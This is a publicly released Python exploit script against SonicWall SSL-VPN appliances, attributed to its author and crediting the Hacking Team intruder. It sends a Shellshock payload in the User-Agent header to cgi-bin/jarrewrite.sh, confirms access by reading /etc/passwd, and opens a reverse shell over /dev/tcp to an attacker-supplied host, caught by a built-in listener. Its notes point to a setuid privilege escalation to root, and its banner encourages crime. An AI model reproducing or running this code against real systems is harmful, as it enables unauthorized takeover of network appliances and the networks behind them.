python¶

coding: utf-8¶

Author: Darren Martyn¶

Credit: Phineas Fisher¶

Notes:¶

This exploit basically implements the exploits Phineas Fisher used to pwn Hacking Team¶

and the Cayman Trust Bank place. It uses the Shellshock vulnerability to gain a command¶

execution primitive as the "nobody" user in the cgi-bin/jarrewrite.sh web-script, spawns¶

a trivial reverse shell using /dev/tcp.¶

There is a fairly trivial LPE in these that gets you root by abusing setuid dos2unix, but¶

implementing that is left as an exercise for the reader. I've seen a few approaches, and¶

would be interested in seeing yours.¶

There is another LPE that works only on some models which I also have removed from this.¶

Details: https://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit/¶

import requests import sys import telnetlib import socket from threading import Thread from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) import time

def banner(): print """

         88                                      88  
         ""                                      88  
                                                 88

8b d8 88 ,adPPYba, 88 88 ,adPPYYba, 88
8b d8' 88 I8[ "" 88 88 ""Y8 88
8b d8' 88"Y8ba, 88 88 ,adPPPPP88 88
8b,d8' 88 aa ]8I "8a, ,a88 88, ,88 88 "8" 88"YbbdP"' "YbbdP'Y8"8bbdP"Y8 88

         88                                          
         88                                          
         88                                          
 ,adPPYb,88   ,adPPYba,    ,adPPYba,   8b,dPPYba,    
a8"    `Y88  a8"     "8a  a8"     "8a  88P'   "Y8    
8b       88  8b       d8  8b       d8  88            
"8a,   ,d88  "8a,   ,a8"  "8a,   ,a8"  88            
 `"8bbdP"Y8   `"YbbdP"'    `"YbbdP"'   88   
SonicWall SSL-VPN Appliance Remote Exploit

Public Release (Jan 2021). Author: Darren Martyn. Credit goes to Phineas Fisher for this. Stay inside, do crimes. """

def handler(lp): # handler borrowed from Stephen Seeley. print "(+) starting handler on port %d" %(lp) t = telnetlib.Telnet() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", lp)) s.listen(1) conn, addr = s.accept() print "(+) connection from %s" %(addr[0]) t.sock = conn print "(+) pop thy shell!" t.interact()

def execute_command(target, command): url = target + "/cgi-bin/jarrewrite.sh" headers = {"User-Agent": "() { :; }; echo ; /bin/bash -c '%s'" %(command)} r = requests.get(url=url, headers=headers, verify=False) return r.text

def check_exploitable(target): print "(+) Testing %s for pwnability..." %(target) output = execute_command(target=target, command="cat /etc/passwd") if "root:" in output: print "(*) We can continue, time to wreck this shit." return True else: return False

def pop_reverse_shell(target, cb_host, cb_port): print "(+) Sending callback to %s:%s" %(cb_host, cb_port) backconnect = "nohup bash -i >& /dev/tcp/%s/%s 0>&1 &" %(cb_host, cb_port) execute_command(target=target, command=backconnect)

def hack_the_planet(target, cb_host, cb_port): if check_exploitable(target) == True: pass else: sys.exit("(-) Target not exploitable...") handlerthr = Thread(target=handler, args=(int(cb_port),)) handlerthr.start() pop_reverse_shell(target=target, cb_host=cb_host, cb_port=cb_port)

def main(args): banner() if len(args) != 4: sys.exit("use: %s https://some-vpn.lol:8090 hacke.rs 1337" %(args[0])) hack_the_planet(target=args[1], cb_host=args[2], cb_port=args[3])

if name == "main": main(args=sys.argv)